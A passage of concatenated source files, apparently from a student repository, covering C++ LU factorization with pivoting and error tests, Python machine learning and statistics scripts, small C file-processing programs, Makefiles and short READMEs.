norm_infinity) << endl; data << "-------" << endl; data << "factorization relative error without pivoting using Frobenius Norm: " << factorization_accuracy(ALU, LU_none, ALU, norm_frobenius) << endl; data << "factorization relative error with partial pivoting using Frobenius Norm: " << factorization_accuracy(permute_P(LU_partial[n], ALU), LU_partial, ALU, norm_frobenius) << endl; data << "factorization relative error with complete pivoting using Frobenius Norm: " << factorization_accuracy(permute_Q(LU_complete[n+1], permute_P(LU_complete[n], ALU)), LU_complete, ALU, norm_frobenius) << endl; data << endl; //test 2 vector<vector<precision>> R = generate_random_nonsingular(n); vector<vector<precision>> LU_R_none = factor(R, 0, 0); vector<vector<precision>> LU_R_partial = factor(R, 1, 0); vector<vector<precision>> LU_R_complete = factor(R, 0, 1); data << "Test 2: generate and factor a random, diagonally-dominant matrix" << endl; data << "-------" << endl; data << "factorization relative error without pivoting using L1 Norm: " << factorization_accuracy(product(LU_R_none), LU_R_none, R, norm_1) << endl; data << "factorization relative error with partial pivoting using L1 Norm: " << factorization_accuracy(product(LU_R_partial), LU_R_partial, R, norm_1) << endl; data << "factorization relative error with complete pivoting using L1 Norm: " << factorization_accuracy(product(LU_R_complete), LU_R_complete, R, norm_1) << endl; data << "-------" << endl; data << "factorization relative error without pivoting using Infinity Norm: " << factorization_accuracy(product(LU_R_none), LU_R_none, R, norm_infinity) << endl; data << "factorization relative error with partial pivoting using Infinity Norm: " << factorization_accuracy(product(LU_R_partial), LU_R_partial, R, norm_infinity) << endl; data << "factorization relative error with complete pivoting using Infinity Norm: " << factorization_accuracy(product(LU_R_complete), LU_R_complete, R, norm_infinity) << endl; data << "-------" << endl; data << "factorization relative error without pivoting using Frobenius Norm: " << factorization_accuracy(product(LU_R_none), LU_R_none, R, norm_frobenius) << endl; data << "factorization relative error with partial pivoting using Frobenius Norm: " << factorization_accuracy(product(LU_R_partial), LU_R_partial, R, norm_frobenius) << endl; data << "factorization relative error with complete pivoting using Frobenius Norm: " << factorization_accuracy(product(LU_R_complete), LU_R_complete, R, norm_frobenius) << endl; data << endl; //test task 3 vector<precision> x = generate_random_vector(n); vector<vector<precision>> A = generate_random_nonsingular(n); vector<precision> b = product(A, x); vector<precision> x_none = solve(factor(A, 0, 0), b); vector<precision> x_partial = solve(factor(A, 1, 0), b); vector<precision> x_complete = solve(factor(A, 0, 1), b); data << "Test 3: solve system Ax = b given A and x, generating b <- Ax" << endl; data << "-------" << endl; data << "solution relative error without pivoting using L1 Norm: " << solution_accuracy(x, x_none, norm_1) << endl; data << "solution relative error with partial pivoting using L1 Norm: " << solution_accuracy(x, x_partial, norm_1) << endl; data << "solution relative error with complete pivoting using L1 Norm: " << solution_accuracy(x, x_complete, norm_1) << endl; data << "-------" << endl; data << "solution relative error without pivoting using Infinity Norm: " << solution_accuracy(x, x_none, norm_infinity) << endl; data << "solution relative error with partial pivoting using Infinity Norm: " << solution_accuracy(x, x_partial, norm_infinity) << endl; data << "solution relative error with complete pivoting using Infinity Norm: " << solution_accuracy(x, x_complete, norm_infinity) << endl; data << "-------" << endl; data << "solution relative error without pivoting using Frobenius Norm: " << solution_accuracy(x, x_none, norm_frobenius) << endl; data << "solution relative error with partial pivoting using Frobenius Norm: " << solution_accuracy(x, x_partial, norm_frobenius) << endl; data << "solution relative error with complete pivoting using Frobenius Norm: " << solution_accuracy(x, x_complete, norm_frobenius) << endl; data << "|||||||" << endl; data << "residual relative error without pivoting using L1 Norm: " << residual_accuracy(b, A, x_none, norm_1) << endl; data << "residual relative error with partial pivoting using L1 Norm: " << residual_accuracy(b, A, x_partial, norm_1) << endl; data << "residual relative error with complete pivoting using L1 Norm: " << residual_accuracy(b, A, x_complete, norm_1) << endl; data << "-------" << endl; data << "residual relative error without pivoting using Infinity Norm: " << residual_accuracy(b, A, x_none, norm_infinity) << endl; data << "residual relative error with partial pivoting using Infinity Norm: " << residual_accuracy(b, A, x_partial, norm_infinity) << endl; data << "residual relative error with complete pivoting using Infinity Norm: " << residual_accuracy(b, A, x_complete, norm_infinity) << endl; data << "-------" << endl; data << "residual relative error without pivoting using Frobenius Norm: " << residual_accuracy(b, A, x_none, norm_frobenius) << endl; data << "residual relative error with partial pivoting using Frobenius Norm: " << residual_accuracy(b, A, x_partial, norm_frobenius) << endl; data << "residual relative error with complete pivoting using Frobenius Norm: " << residual_accuracy(b, A, x_complete, norm_frobenius) << endl; data << endl; //test task 4 vector<vector<precision>> Z = generate_random_nonsingular(n); for(int i = 0; i < n; i++) Z[i][i] = 0; vector<vector<precision>> LU_Z_partial = factor(Z, 1, 0); vector<vector<precision>> LU_Z_complete = factor(Z, 0, 1); data << "Test 4: generate a matrix that requires pivoting and factor it" << endl; data << "-------" << endl; data << "factorization relative error with partial pivoting using L1 Norm: " << factorization_accuracy(permute_P(LU_Z_partial[n], Z), LU_Z_partial, Z, norm_1) << endl; data << "factorization relative error with complete pivoting using L1 Norm: " << factorization_accuracy(permute_Q(LU_Z_complete[n+1], permute_P(LU_Z_complete[n], Z)), LU_Z_complete, Z, norm_1) << endl; data << "-------" << endl; data << "factorization relative error with partial pivoting using Infinity Norm: " << factorization_accuracy(permute_P(LU_Z_partial[n], Z), LU_Z_partial, Z, norm_infinity) << endl; data << "factorization relative error with complete pivoting using Infinity Norm: " << factorization_accuracy(permute_Q(LU_Z_complete[n+1], permute_P(LU_Z_complete[n], Z)), LU_Z_complete, Z, norm_infinity) << endl; data << "-------" << endl; data << "factorization relative error with partial pivoting using Frobenius Norm: " << factorization_accuracy(permute_P(LU_Z_partial[n], Z), LU_Z_partial, Z, norm_frobenius) << endl; data << "factorization relative error with complete pivoting using Frobenius Norm: " << factorization_accuracy(permute_Q(LU_Z_complete[n+1], permute_P(LU_Z_complete[n], Z)), LU_Z_complete, Z, norm_frobenius) << endl; data << endl; //test task 5 vector<precision> b_given = generate_random_vector(n); vector<vector<precision>> A_given = generate_random_nonsingular(n); vector<precision> computed_x_none = solve(factor(A_given, 0, 0), b_given); vector<precision> computed_x_partial = solve(factor(A_given, 1, 0), b_given); vector<precision> computed_x_complete = solve(factor(A_given, 0, 1), b_given); vector<precision> residual_none = product(A, computed_x_none); vector<precision> residual_partial = product(A, computed_x_partial); vector<precision> residual_complete = product(A, computed_x_complete); data << "Test 5: solve linear system Ax = b given A and b" << endl; data << "-------" << endl; data << "residual relative error without pivoting using L1 Norm: " << residual_accuracy(b_given, A_given, computed_x_none, norm_1) << endl; data << "residual relative error with partial pivoting using L1 Norm: " << residual_accuracy(b_given, A_given, computed_x_partial, norm_1) << endl; data << "residual relative error with complete pivoting using L1 Norm: " << residual_accuracy(b_given, A_given, computed_x_complete, norm_1) << endl; data << "-------" << endl; data << "residual relative error without pivoting using Infinity Norm: " << residual_accuracy(b_given, A_given, computed_x_none, norm_infinity) << endl; data << "residual relative error with partial pivoting using Infinity Norm: " << residual_accuracy(b_given, A_given, computed_x_partial, norm_infinity) << endl; data << "residual relative error with complete pivoting using Infinity Norm: " << residual_accuracy(b_given, A_given, computed_x_complete, norm_infinity) << endl; data << "-------" << endl; data << "residual relative error without pivoting using Frobenius Norm: " << residual_accuracy(b_given, A_given, computed_x_none, norm_frobenius) << endl; data << "residual relative error with partial pivoting using Frobenius Norm: " << residual_accuracy(b_given, A_given, computed_x_partial, norm_frobenius) << endl; data << "residual relative error with complete pivoting using Frobenius Norm: " << residual_accuracy(b_given, A_given, computed_x_complete, norm_frobenius) << endl; data << endl; data.close(); return 0; } <file_sep>import numpy as np def fibonacci(n): f = [1, 1] for i in range(0, n-2): f.append((f[i] + f[i+1]) % pow(2, 31)) return f def kolmogorov_smirnov(seq): n = len(seq) Dplus = np.max([(k+1) / len(seq) - seq[k] for k in range(0, len(seq))]) Dminus = np.max([seq[k] - k / len(seq) for k in range(0, len(seq))]) return max(Dplus, Dminus) def main(): print(kolmogorov_smirnov(fibonacci(1000))) main() <file_sep>//adding the g++ directive -DSINGLE=1 at compile time enables single precision #ifdef SINGLE typedef float precision; #else typedef double precision; #endif vector<precision> generate_random_vector(int n); vector<vector<precision>> generate_random_nonsingular(int n); vector<vector<precision>> generate_upper_triangular(int n); vector<vector<precision>> generate_lower_triangular(int n); vector<vector<precision>> generate_unit_triangular(int n); vector<vector<precision>> product(vector<vector<precision>> LU); vector<vector<precision>> product(vector<vector<precision>> X, vector<vector<precision>> Y); vector<precision> product(vector<vector<precision>> X, vector<precision> x); vector<precision> permute_P(vector<precision> P, vector<precision> b); vector<vector<precision>> permute_P(vector<precision> P, vector<vector<precision>> A); vector<precision> permute_Q(vector<precision> Q, vector<precision> b); vector<vector<precision>> permute_Q(vector<precision> Q, vector<vector<precision>> A); precision solution_accuracy(vector<precision> x, vector<precision> tilde_x, precision (*norm)(vector<precision>)); precision factorization_accuracy(vector<vector<precision>> PAQ, vector<vector<precision>> LU, vector<vector<precision>> A, precision (*norm)(vector<vector<precision>>)); precision residual_accuracy(vector<precision> b, vector<vector<precision>> A, vector<precision> tilde_x, precision (*norm)(vector<precision>)); <file_sep>from scipy.special import comb import seaborn as sns import matplotlib.pyplot as plt sns.set(style='ticks', palette='Set2') def graph(X1, X2, T, filename): fig, ax1 = plt.subplots() ax1.fill_between(range(1, 101), [0 for i in range(1, 101)], [T[0] for i in range(1, 101)], alpha=0.25) ax1.fill_between(range(1, 101), [0 for i in range(1, 101)], [T[1] for i in range(1, 101)], alpha=0.25) ax1.fill_between(range(1, 101), [0 for i in range(1, 101)], [T[2] for i in range(1, 101)], alpha=0.25) ax1.fill_between(range(1, 101), [0 for i in range(1, 101)], [T[3] for i in range(1, 101)], alpha=0.25) ax1.fill_between(range(1, 101), [0 for i in range(1, 101)], [T[4] for i in range(1, 101)], alpha=0.25) ax1 = sns.scatterplot(x=range(1, 101), y=X1[0], label='Box-Muller', color='#7dbfa7') ax1 = sns.scatterplot(x=range(1, 101), y=X2[0], label='Beasley-Springer-Moro', color='#ee926b') ax2 = ax1.twinx() ax1.set_xlabel('n') ax1.set_yticks(T) ax1.set_yticklabels(['15%', '10%', '5%', '2.5%', '1%']) plt.xlabel('$n$') legend = ax1.legend(loc='best') plt.savefig('../figures/' + filename + '.pdf', format='pdf', dpi=1000, bbox_inches='tight') def main(): T = [1.610, 1.933, 2.492, 3.070, 3.857] bm = [[float(x) for x in line.strip('\n').split('\t')] for line in open('../data/box-muller.dat')] bsm = [[float(x) for x in line.strip('\n').split('\t')] for line in open('../data/beasley-springer-moro.dat')] graph(bm, bsm, T, 'normality') main() <file_sep>all: a.out clean a.out: main.o code.o matrix.o norms.o g++ -std="c++11" -o a.out main.o code.o matrix.o norms.o main.o: main.cpp g++ -std="c++11" -c main.cpp code.o: code.cpp g++ -std="c++11" -c code.cpp matrix.o: matrix.cpp g++ -std="c++11" -c matrix.cpp norms.o: norms.cpp g++ -std="c++11" -c norms.cpp clean: rm *.o <file_sep>all: reverse clean reverse: main.o partA.o partB.o partC.o gcc -o reverse main.o partA.o partB.o partC.o main.o: main.c partA.h partB.h partC.h gcc -c main.c partA.o: partA.c gcc -c partA.c partB.o: partB.c gcc -c partB.c partC.o: partC.c gcc -c partC.c clean: rm *.o <file_sep># Feature Selection with Annealing A Python implementation of Feature Selection with Annealing for binary classification. <file_sep># <NAME>, FSU Mathematics PhD # <NAME>, FSU Mathematics PhD # Applied Machine Learning Assignment 10 import numpy as np import matplotlib.pyplot as plt #GRAPH THE LOSS VS ITERATIONS def graph(data, one_step_means, two_step_means, filename): #x_axis = range(1, 301) fig, ax = plt.subplots() ax.scatter(data[:,0], data[:,1]) ax.scatter(one_step_means[:,0], one_step_means[:,1], label='One-Step Cluster Means') ax.scatter(two_step_means[:,0], two_step_means[:,1], label='Two-Step Cluster Means', color='red') legend = ax.legend(loc='best') plt.title('Data set: ' + filename) plt.savefig('./report/figures/' + filename + '.eps', format='eps', dpi=1000, bbox_inches='tight') def main(): xeasy = np.load('./data_parsed/xeasy.data.npy') x1 = np.load('./data_parsed/x1.data.npy') x2 = np.load('./data_parsed/x2.data.npy') xeasy_mean1 = np.array([[0.02478088, 3.07460079], [3.01650103, -0.17460086]]) xeasy_mean2 = np.array([[3.01183881, -0.17000872], [0.01862825, 3.08197222]]) x1_mean1 = np.array([[-0.28366821, 2.16960597], [1.83617659, 0.28263171]]) x1_mean2 = np.array([[1.08395907, 0.85578155], [-0.6095988, 2.74694693]]) x2_mean1 = np.array([[0.03484, -0.03989854], [0.17023148, -0.14255449]]) x2_mean2 = np.array([[0.03588655, -0.03956158], [0.16529115, -0.14018644]]) graph(xeasy, xeasy_mean1, xeasy_mean2, 'xeasy') graph(x1, x1_mean1, x1_mean2, 'x1') graph(x2, x2_mean1, x2_mean2, 'x2') main() <file_sep>from scipy.special import comb import random import numpy as np def significance(s = 0.05): n = 1 P = 1 while True: p = comb(2*n, n, exact=True)*pow(pow(0.5, n), 2)/(2*n-1) P = P - p if P < s: break n += 1 return n def X_test(): success, failure, count = (0, 0, 0) while True: count += 1 if random.random() >= 0.5: success += 1 else: failure += 1 if success == failure: break return (not count >= 128, count) def X_tests(n = 100): accepts, rejects = (0, 0) counts = [] for i in range(0, n): result, count = X_test() if result: accepts += 1 else: rejects += 1 counts.append(count) return (accepts, rejects, np.mean(counts), np.median(counts)) def main(): accepts, rejects, μX, mX = X_tests() print('Number of times accepted: ' + str(accepts)) print('Number of times rejected: ' + str(rejects)) print('Average value of X: ' + str(μX)) print('Median value of X: ' + str(mX)) main() <file_sep>//adding the g++ directive -DSINGLE=1 at compile time enables single precision #ifdef SINGLE typedef float precision; #else typedef double precision; #endif void print_vector(vector<precision> v); void print_matrix(vector<vector<precision>> A); vector<precision> scale(precision α, vector<precision> x); vector<vector<precision>> scale(precision α, vector<vector<precision>> X); vector<vector<precision>> transpose(vector<vector<precision>> Q); vector<precision> sum(vector<precision> x, vector<precision> y); vector<precision> difference(vector<precision> x, vector<precision> y); vector<vector<precision>> difference(vector<vector<precision>> X, vector<vector<precision>> Y); vector<vector<precision>> sum(vector<vector<precision>> A, vector<vector<precision>> B); vector<vector<precision>> dense_sum(vector<vector<precision>> A, vector<vector<precision>> B); precision inner_product(vector<precision> x, vector<precision> y); vector<vector<precision>> outer_product(vector<precision> x, vector<precision> y); vector<precision> product(vector<vector<precision>> X, vector<precision> x); vector<vector<precision>> product(vector<vector<precision>> A, vector<vector<precision>> B); <file_sep>void naturalTour(FILE *file); <file_sep>//adding the g++ directive -DSINGLE=1 at compile time enables single precision #ifdef SINGLE typedef float precision; #else typedef double precision; #endif precision norm_L1(vector<precision> x); precision norm_L1(vector<vector<precision>> X); precision norm_L2(vector<precision> x); precision norm_inf(vector<precision> x); precision norm_inf(vector<vector<precision>> X); precision norm_F(vector<precision> x); precision norm_F(vector<vector<precision>> X); <file_sep># Interpolation Implementation of various interpolation methods, along with an implementation of Thomas' algorithm and a simple merge-sort and binary search, in C++. Methods implemented include Newton interpolation using efficient divided differences and interpolatory cubic splines. <file_sep>void lengthSortedTour(FILE *file); <file_sep>#include <stdio.h> #include <stdlib.h> #include <string.h> #include "partA.h" #include "partB.h" #include "partC.h" #include "partD.h" int main (int argc, char *argv[]) { FILE *file; if(argc == 3) { if((file = fopen(argv[1], "r")) == NULL) { printf("File path does not exist.\n"); exit(0); } } else { printf("This program requires <file path> and <selection> paramaters.\n"); exit(0); } if(!strcasecmp("A", argv[2])) naturalTour(file); if(!strcasecmp("B", argv[2])) sortedTour(file); if(!strcasecmp("C", argv[2])) lengthSortedTour(file); if(!strcasecmp("D", argv[2])) rectangleAreas(file); fclose(file); } <file_sep># Threshold-based Iterative Selection Procedure A Python implementation of TISP-based variable selection for binary classification. <file_sep>#include <stdio.h> void reverseChars(FILE *file) { char character[81]; int counter; //repeats the algorithm every line until EOF while(!feof(file)) { //reading the file character by character until an end of line is reached for(int i = 0; i < 81; i++) { character[i] = fgetc(file); if(character[i] == '\n' || character[i] == '\r') { counter = i; i = 100; } } //outputing what has been read from the file in reverse order for(int i = counter; i >= 0; i--) if(character[i] != EOF) printf("%c", character[i]); } printf("\n"); } <file_sep># <NAME>, FSU Mathematics PhD # <NAME>, FSU Mathematics PhD # Applied Machine Learning Assignment 8 import re import numpy as np import matplotlib.pyplot as plt training_data = ["./data-norm/gisette/gisette_train.data.npy", "./data-norm/dexter/dexter_train.csv.npy", "./data-norm/madelon/madelon_train.data.npy"] test_data = ["./data-norm/gisette/gisette_valid.data.npy", "./data-norm/dexter/dexter_valid.csv.npy", "./data-norm/madelon/madelon_valid.data.npy"] training_labels = ["./data-norm/gisette/gisette_train.labels.npy", "./data-norm/dexter/dexter_train.labels.npy", "./data-norm/madelon/madelon_train.labels.npy"] test_labels = ["./data-norm/gisette/gisette_valid.labels.npy", "./data-norm/dexter/dexter_valid.labels.npy", "./data-norm/madelon/madelon_valid.labels.npy"] def logitboost(X, Y, Xtest, Ytest, filename): N = X.shape[0] M = X.shape[1] error_train = np.zeros(4) error_test = np.zeros(4) loss = np.zeros(300) β = np.zeros(M) ik = 0 #ITERATE OVER THE NUMBER OF WEAK CLASSIFIERS for k in range(0, 300): print("\tk = " + str(k+1)) H = np.dot(X, β) p = 1/(1 + np.exp(-2*H)) w = p*(1 - p) z = np.divide((0.5*(Y + 1) - p), w, out=np.zeros(N), where=(w!=0)) coef = np.zeros((2, M-1)) newloss = np.zeros(M-1) #ITERATE OVER THE COLUMNS/FEATURES for j in range(0, M-1): #WEIGHTED LEAST SQUARES REGRESSION Xj = X[:, j+1] a = np.sum(w) b = np.sum(w * Xj) c = np.sum(w * Xj**2) d = np.sum(w * z) e = np.sum(w * Xj * z) if (a*c - b**2) == 0: βj = np.array([d/a, 0]) else: βj = np.array([c*d - b*e, a*e - b*d])/(a*c - b**2) coef[:, j] = βj Hj = H + 0.5*(βj[0] + βj[1]*Xj) newloss[j] = np.sum(np.log(1 + np.exp(-2*Y*Hj))) j = np.argmin(newloss) β[0] = β[0] + 0.5*coef[0, j] β[j+1] = β[j+1] + 0.5*coef[1 ,j] loss[k] = newloss[j] if k+1 in [10, 30, 100, 300]: predict = np.sign(np.dot(X, β)) predict_test = np.sign(np.dot(Xtest, β)) error_train[ik] = np.mean(predict != Y) error_test[ik] = np.mean(predict_test != Ytest) ik += 1 graph_loss(loss, filename) graph_error(error_train*100, error_test*100, filename) tabulate(error_train*100, error_test*100, filename) #GRAPH THE LOSS VS ITERATIONS def graph_loss(loss, filename): x_axis = range(1, 301) fig, ax = plt.subplots() ax.plot(x_axis, loss) plt.title(filename + r': Training Loss vs. Iterations') plt.xticks([1, 50, 100, 150, 200, 250, 300], [1, 50, 100, 150, 200, 250, 300]) plt.xlabel("Iteration") plt.ylabel("Training Loss") plt.savefig("./report/figures/" + filename + "_loss.eps", format="eps", dpi=1000, bbox_inches="tight") #GRAPH THE ERROR AT SPECIFIC ITERATIONS def graph_error(error_train, error_test, filename): x_axis = [10, 30, 100, 300] fig, ax = plt.subplots() ax.plot(x_axis, error_train, label="Training Error") ax.plot(x_axis, error_test, label="Validation Error") legend = ax.legend(loc='best') plt.title(filename + r': Misclassification Error vs. Iterations') plt.xticks([10, 30, 100, 300], [10, 30, 100, 300]) plt.xlabel("Iteration") plt.ylabel("Misclassification Error \%") plt.savefig("./report/figures/" + filename + "_error.eps", format="eps", dpi=1000, bbox_inches="tight") #TABULATE THE MISCLASSIFICATION ERRORS def tabulate(error_train, error_test, filename): f = open("./report/table/" + filename + ".txt", 'w') print("Data Set & Features Selected $k$ & Training Error & Test Error\\\\\\hline\\cline{1-4}", file=f) print(" & $10$ & $" + str(error_train[0]) + "$ & $" + str(error_test[0]) + "$\\\\\\cline{2-4}", file=f) print("\texttt{" + filename + "} & $30$ & $" + str(error_train[1]) + "$ & $" + str(error_test[1]) + "$\\\\\\cline{2-4}", file=f) print(" & $100$ & $" + str(error_train[2]) + "$ & $" + str(error_test[2]) + "$\\\\\\cline{2-4}", file=f) print(" & $300$ & $" + str(error_train[3]) + "$ & $" + str(error_test[3]) + "$\\\\\\hline\\cline{1-4}", file=f) f.close() #MAIN BLOCK def main(): for f_train_data, f_test_data, f_train_labels, f_test_labels in zip(training_data, test_data, training_labels, test_labels): filename = f_train_data.split("/")[-2] print("Processing: " + filename) Xtrain = np.load(f_train_data) Ytrain = np.load(f_train_labels) Xtest = np.load(f_test_data) Ytest = np.load(f_test_labels) logitboost(Xtrain, Ytrain, Xtest, Ytest, filename) #EXECUTE main() <file_sep>int hashName(char *string); int hashID(int id); <file_sep>//adding the g++ directive -DSINGLE=1 at compile time enables single precision #ifdef SINGLE typedef float precision; #else typedef double precision; #endif vector<precision> scale(precision α, vector<precision> x); vector<vector<precision>> scale(precision α, vector<vector<precision>> X); precision inner_product(vector<precision> x, vector<precision> y); vector<vector<precision>> outer_product(vector<precision> x, vector<precision> y); vector<precision> product(vector<vector<precision>> A, vector<precision> x); vector<vector<precision>> inverse2x2(vector<vector<precision>> J); vector<precision> sum(vector<precision> x, vector<precision> y); vector<vector<precision>> sum(vector<vector<precision>> X, vector<vector<precision>> Y); vector<precision> difference(vector<precision> x, vector<precision> y); vector<vector<precision>> difference(vector<vector<precision>> X, vector<vector<precision>> Y); <file_sep>#include <stdio.h> #include <stdlib.h> #include <string.h> #include <math.h> typedef struct { int id; char name[256]; float PPG; float APG; float RPG; float SPG; float MPG; int vote1; int vote2; int vote3; } player; //declared globally due to size static player players[1000000]; //compare function for PPG sorting int cmpPPG(const void *a, const void *b) { if((*((player *) b)).PPG - (*((player *) a)).PPG > 0) return 1; else return -1; } //compare function for APG sorting int cmpAPG(const void *a, const void *b) { if((*((player *) b)).APG - (*((player *) a)).APG > 0) return 1; else return -1; } //compare function for RPG sorting int cmpRPG(const void *a, const void *b) { if((*((player *) b)).RPG - (*((player *) a)).RPG > 0) return 1; else return -1; } //compare function for SPG sorting int cmpSPG(const void *a, const void *b) { if((*((player *) b)).SPG - (*((player *) a)).SPG > 0) return 1; else return -1; } //main function void partB(FILE *file, char *choice) { int i = 0; int j; int _id; char _name[256]; float _PPG; float _APG; float _RPG; float _SPG; float _MPG; int _vote1; int _vote2; int _vote3; //read and store input from file while(fscanf(file, "%d %s %f %f %f %f %f %d %d %d", &_id, _name, &_PPG, &_APG, &_RPG, &_SPG, &_MPG, &_vote1, &_vote2, &_vote3) != EOF) { players[i].id = _id; strcpy(players[i].name, _name); players[i].PPG = _PPG; players[i].APG = _APG; players[i].RPG = _RPG; players[i].SPG = _SPG; players[i].MPG = _MPG; players[i].vote1 = _vote1; players[i].vote2 = _vote2; players[i].vote3 = _vote3; i = i + 1; } //output sorted PPG list if(!strcmp(choice, "PPG")) { qsort(players, i, sizeof(player), cmpPPG); for(j = 0; j < i; j++) printf("%d %s %0.1f\n", players[j].id, players[j].name, players[j].PPG); return; } //output sorted APG list if(!strcmp(choice, "APG")) { qsort(players, i, sizeof(player), cmpAPG); for(j = 0; j < i; j++) printf("%d %s %0.1f\n", players[j].id, players[j].name, players[j].APG); return; } //output sorted RPG list if(!strcmp(choice, "RPG")) { qsort(players, i, sizeof(player), cmpRPG); for(j = 0; j < i; j++) printf("%d %s %0.1f\n", players[j].id, players[j].name, players[j].RPG); return; } //output sorted SPG list if(!strcmp(choice, "SPG")) { qsort(players, i, sizeof(player), cmpSPG); for(j = 0; j < i; j++) printf("%d %s %0.1f\n", players[j].id, players[j].name, players[j].SPG); return; } printf("Incorrect parameter. Choose either PPG, APG, RPG, or SPG.\n"); } <file_sep>/* * <NAME> * Florida State University Dept. of Mathematics */ #include <iostream> #include <fstream> #include <limits> #include <vector> #include <math.h> #include <time.h> #include <cmath> #include <complex> using namespace std; #include "norms.h" //adding the g++ directive -DSINGLE=1 at compile time enables single precision #ifdef SINGLE typedef float precision; #else typedef double precision; #endif const precision PI = M_PI; vector<vector<precision>> transpose(vector<vector<precision>> T) { vector<vector<precision>> TT(T[0].size()); for(int i = 0; i < T[0].size(); i++) for(int j = 0; j < T.size(); j++) TT[i].push_back(T[j][i]); return TT; } /* generates a random n by 1 vector for use in solving linear systems * * n = the dimension of the vector */ vector<precision> generate_random_vector(int n) { srand(time(NULL));//seed the pseudo-random number generator vector<precision> x; for(int i = 0; i < n; i++) x.push_back(((rand()%2000) - 1000)/100.0); return x; } /* generates a random n by n matrix which is guaranteed to be diagonally-dominant and therefore non-singular * off-diagonal elements take values between -100 and +100 * * n = the dimension of the square matrix */ vector<vector<precision>> generate_random_nonsingular(int n) { srand(time(NULL));//seed the pseudo-random number generator vector<vector<precision>> R(n); for(int i = 0; i < n; i++) for(int j = 0; j < n; j++) R[i].push_back(((rand()%20000) - 10000)/100.0); for(int k = 0; k < n; k++) {//make the random matrix diagonally dominant precision sum = -abs(R[k][k]); for(int j = 0; j < n; j++) sum = sum + abs(R[k][j]); if(abs(R[k][k]) < sum) R[k][k] = sum; } return R; } /* generates a random upper-triangular matrix with values between -10.0 and +10.0 * * n = the dimension of the square matrix */ vector<vector<precision>> generate_upper_triangular(int n) { srand(time(NULL));//seed the pseudo-random number generator vector<vector<precision>> L(n); for(int i = 0; i < n; i++) { for(int j = 0; j < i; j++) L[i].push_back(0); for(int j = i; j < n; j++) L[i].push_back(((rand()%2000) - 1000)/100.0); } return L; } /* generates a random lower-triangular matrix with values between -1.00 and +1.00 * * n = the dimension of the square matrix */ vector<vector<precision>> generate_lower_triangular(int n) { srand(time(NULL));//seed the pseudo-random number generator vector<vector<precision>> L(n); for(int i = 0; i < n; i++) { for(int j = 0; j <= i; j++) L[i].push_back(((rand()%200) - 100)/100.0); for(int j = i+1; j < n; j++) L[i].push_back(0); } return L; } /* generates a random unit lower-triangular matrix with values between -100 and +100 * * n = the dimension of the square matrix */ vector<vector<precision>> generate_unit_triangular(int n) { srand(time(NULL));//seed the pseudo-random number generator vector<vector<precision>> L(n); for(int i = 0; i < n; i++) { for(int j = 0; j < i; j++) L[i].push_back(((rand()%20000) - 10000)/100.0); L[i].push_back(1); for(int j = i+1; j < n; j++) L[i].push_back(0); } return L; } /* finds the product L*U of an LU-factorization written in the condensed square-matrix format * * LU = the LU-factorization */ vector<vector<precision>> product(vector<vector<precision>> LU) { int n = LU[0].size(); vector<vector<precision>> A(n); for(int i = 0; i < n; i++) for(int j = 0; j < n; j++) { int min = (i > j) ? j + 1 : i; A[i].push_back((i > j) ? 0 : LU[i][j]); for(int k = 0; k < min; k++) A[i][j] = A[i][j] + LU[i][k] * LU[k][j]; } return A; } /* finds the matrix-product of two arbitrary matrices with compatible dimensions * * X = an n by k matrix * Y = a k by m matrix */ vector<vector<precision>> product(vector<vector<precision>> X, vector<vector<precision>> Y) { vector<vector<precision>> A(X.size()); for(int i = 0; i < X.size(); i++) for(int j = 0; j < Y[0].size(); j++) { A[i].push_back(0); for(int k = 0; k < Y.size(); k++) A[i][j] = A[i][j] + X[i][k] * Y[k][j]; } return A; } /* finds the matrix-vector product of a compatible pair using the previously implemented matrix-product function * * X = an n by k matrix * x = a k by 1 vector */ vector<precision> product(vector<vector<precision>> X, vector<precision> x) { int n = x.size(); vector<vector<precision>> y; y.push_back(x); vector<vector<precision>> xT = transpose(y); for(int i = 0; i < n; i++) xT[i].push_back(x[i]); xT = product(X, xT); for(int i = 0; i < n; i++) x[i] = xT[i][0]; return x; } /* permutes a vector b according to the elementary permutations specified by Pb * * P = an n by n permutation matrix P = Pn-1 ... P2 P1 * b = an n by 1 vector */ vector<precision> permute_P(vector<precision> P, vector<precision> b) { for(int i = 0; i < P.size(); i++) { precision swap = b[i]; b[i] = b[P[i]]; b[P[i]] = swap; } return b; } /* permutes the rows of a matrix A according to PA * * P = an n by n permutation matrix * A = an n by n matrix */ vector<vector<precision>> permute_P(vector<precision> P, vector<vector<precision>> A) { for(int i = 0; i < P.size(); i++) { vector<precision> swap = A[i]; A[i] = A[P[i]]; A[P[i]] = swap; } return A; } /* permutes a vector b according to the elementary permutations specified by Qb * * P = an n by n permutation matrix Q = Q1 Q2 ... Qn-1 * b = an n by 1 vector */ vector<precision> permute_Q(vector<precision> Q, vector<precision> b) { for(int i = Q.size() - 1; i >= 0; i--) { precision swap = b[i]; b[i] = b[Q[i]]; b[Q[i]] = swap; } return b; } /* permutes the rows of a matrix A according to AQ * * Q = an n by n permutation matrix * A = an n by n matrix */ vector<vector<precision>> permute_Q(vector<precision> Q, vector<vector<precision>> A) { for(int i = 0; i < Q.size(); i++) for(int j = 0; j < A.size(); j++) { precision swap = A[j][i]; A[j][i] = A[j][Q[i]]; A[j][Q[i]] = swap; } return A; } /* computes the relative error of a computed solution using a specified norm * * x = given (i.e. analytic) solution * tilde_x = computed solution * *norm = a vector norm */ precision solution_accuracy(vector<precision> x, vector<precision> tilde_x, precision (*norm)(vector<precision>)) { for(int i = 0; i < x.size(); i++) tilde_x[i] = x[i] - tilde_x[i]; return (*norm)(tilde_x) / (*norm)(x); } /* computes the relative error of a computed LU-factorization using a specified norm * * PAQ = the unfactored, permuted matrix; equal to A if no pivoting was done * LU = the computed LU-factorization of PAQ * A = the original matrix which was factored with or without pivoting * *norm = a matrix norm */ precision factorization_accuracy(vector<vector<precision>> PAQ, vector<vector<precision>> LU, vector<vector<precision>> A, precision (*norm)(vector<vector<precision>>)) { LU = product(LU); for(int i = 0; i < PAQ.size(); i++) for(int j = 0; j < PAQ.size(); j++) LU[i][j] = PAQ[i][j] - LU[i][j]; return (*norm)(LU) / (*norm)(A); } /* computes the relative error of a computed solution to the linear system Ax = b using a specified norm * * b = the vector in the given problem Ax = b * A = the matrix in the given problem Ax = b * tilde_x = the computed solution to Ax = b * *norm = a vector norm */ precision residual_accuracy(vector<precision> b, vector<vector<precision>> A, vector<precision> tilde_x, precision (*norm)(vector<precision>)) { tilde_x = product(A, tilde_x); for(int i = 0; i < b.size(); i++) tilde_x[i] = b[i] - tilde_x[i]; return (*norm)(tilde_x) / 